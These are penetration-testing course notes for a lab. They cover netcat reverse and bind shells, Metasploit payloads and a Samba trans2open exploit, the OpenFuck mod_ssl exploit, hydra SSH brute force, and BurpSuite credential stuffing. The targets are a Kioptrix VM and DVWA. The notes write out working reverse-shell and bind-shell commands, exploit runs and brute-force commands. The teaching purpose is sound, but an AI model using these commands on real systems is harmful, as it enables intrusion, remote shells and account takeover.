Exploitation Basics

Reverse shell vs Bind shell

netcat

➡️ netcat

Reverse shell - the victim/target connects back to the attacker

  • Attack machine - listening on a port

  • Target machine - connect to the attacker machine listening port

Netcat Reverse Shell - hackingtutorials.org
# Attacker
nc -nvlp 4444

# Target
nc 192.168.31.131 4444 -e /bin/bash
Reverse shell

Bind shell - the attacker opens a port on the target (via exploitation) and connects to it

  • Attack machine - exploits target and opens port listening on target and connects to it

  • Target machine - listens for the attacker connection

Netcat Bind Shell - hackingtutorials.org
  • Specially used on external assessment

# Target
nc -nvlp 4444 -e /bin/bash

# Attacker
nc 192.168.31.131 4444
Bind shell

Staged vs Non-Staged payloads

Non-Staged payload - sends exploit shellcode all at once, larger in size and won't always work

  • Metasploit e.g. payload/windows/meterpreter_reverse_tcp

Staged payload - sends payload in stages, less stable

  • Metasploit e.g. payload/windows/meterpreter/reverse_tcp


Metasploit (SMB attack)

searchsploit samba 2.2
searchsploit samba 2.2
# Run Metasploit
msfconsole

search trans2open
use exploit/linux/samba/trans2open
options

set RHOSTS 192.168.31.130
show targets

run
  • This does not work, since it is using the linux/x86/meterpreter/reverse_tcp staged payload.

  • Try with another payload

set payload linux/x86/shell_reverse_tcp
run
root on Kioptrix VM
  • Gained reverse shell via Metasploit


Manual exploitation

Use OpenLuck to exploit CVE-2002-0082 - Apache mod_ssl < 2.8.7 OpenSSL - Remote Buffer Overflow

  • Follow usage instruction to compile the exploit and run it against the target machine

git clone https://github.com/heltonWernik/OpenFuck.git
sudo apt-get install libssl-dev
gcc -o OpenFuck OpenFuck.c -lcrypto

./OpenFuck

# check an offset for Apache 1.3.20 
# ./OpenFuck target box [port] [-c N]
./OpenFuck 0x6b 192.168.31.130 -c 40

Brute force attacks

  • Brute-force attack SSH with weak/default credentials

hydra

➡️ hydra

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.31.130 -t 4 -V
  • Use the same with Metasploit

msfconsole

search ssh_login
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.31.130
set USERNAME root
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
PASS_FILE => /usr/share/wordlists/metasploit/unix_passwords.txt
set THREADS 10
set VERBOSE true
run

Credential stuffing and Password spraying

Credential stuffing - injecting breached account credentials (leaks, etc) in hopes of account takeover

Password spraying - brute forcing logins based on a list of usernames with default passwords

ls -lah /usr/share/seclists/Passwords/Leaked-Databases/
  • Setup FoxyProxy in the browser and start BurpSuite.

  • Use local vulnerable webapp like dvwa

sudo apt install dvwa

dvwa-start

BurpSuite

  • Turn intercept ON and send the login request to intruder

  • Highlight the username and password values, and add them to the payload positions

  • Attack type - Pitchfork

  • Payloads

    • for each payload set, paste the usernames list and password

    • Start the attack

      • check the response for Status change and Length


Last updated

Was this helpful?